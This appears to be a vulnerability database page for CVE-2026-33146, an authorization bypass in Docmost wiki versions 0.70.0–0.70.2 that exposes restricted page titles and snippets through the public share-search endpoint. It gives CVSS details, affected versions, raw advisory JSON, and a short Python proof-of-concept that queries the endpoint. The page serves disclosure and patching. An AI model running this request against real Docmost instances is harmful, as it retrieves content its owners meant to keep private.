Security Vulnerability Report
中文
CVE-2026-33146 CVSS 4.3 MEDIUM

CVE-2026-33146

Published: 2026-04-14 22:16:31
Last Modified: 2026-04-23 14:18:41

Description

Docmost is open-source collaborative wiki and documentation software. An authorization bypass vulnerability in versions 0.70.0 through 0.70.2 exposes restricted child page titles and text snippets through the public search endpoint (`POST /api/search/share-search`) for publicly shared content. This flaw allows unauthenticated users to enumerate and retrieve content that should remain hidden from public share viewers, leading to a confidentiality breach. Version 0.70.3 contains a patch.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:* - VULNERABLE
Docmost 0.70.0
Docmost 0.70.1
Docmost 0.70.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for the vulnerable search endpoint target_url = "https://<docmost-instance>/api/search/share-search" # Payload to search for restricted content # The vulnerability allows enumerating child pages not meant for public view payload = { "query": "" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, json=payload) if response.status_code == 200: data = response.json() # Check if sensitive data (restricted child pages) is returned print("[+] Vulnerability confirmed. Data retrieved:") print(data) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] Error occurred:", e)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33146", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:30.713", "lastModified": "2026-04-23T14:18:40.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docmost is open-source collaborative wiki and documentation software. An authorization bypass vulnerability in versions 0.70.0 through 0.70.2 exposes restricted child page titles and text snippets through the public search endpoint (`POST /api/search/share-search`) for publicly shared content. This flaw allows unauthenticated users to enumerate and retrieve content that should remain hidden from public share viewers, leading to a confidentiality breach. Version 0.70.3 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.70.0", "versionEndExcluding": "0.70.3", "matchCriteriaId": "31B53CE4-DB86-4684-8887-AF98BEAEEECC"}]}]}], "references": [{"url": "https://github.com/docmost/docmost/security/advisories/GHSA-qq4c-8rjr-w42c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}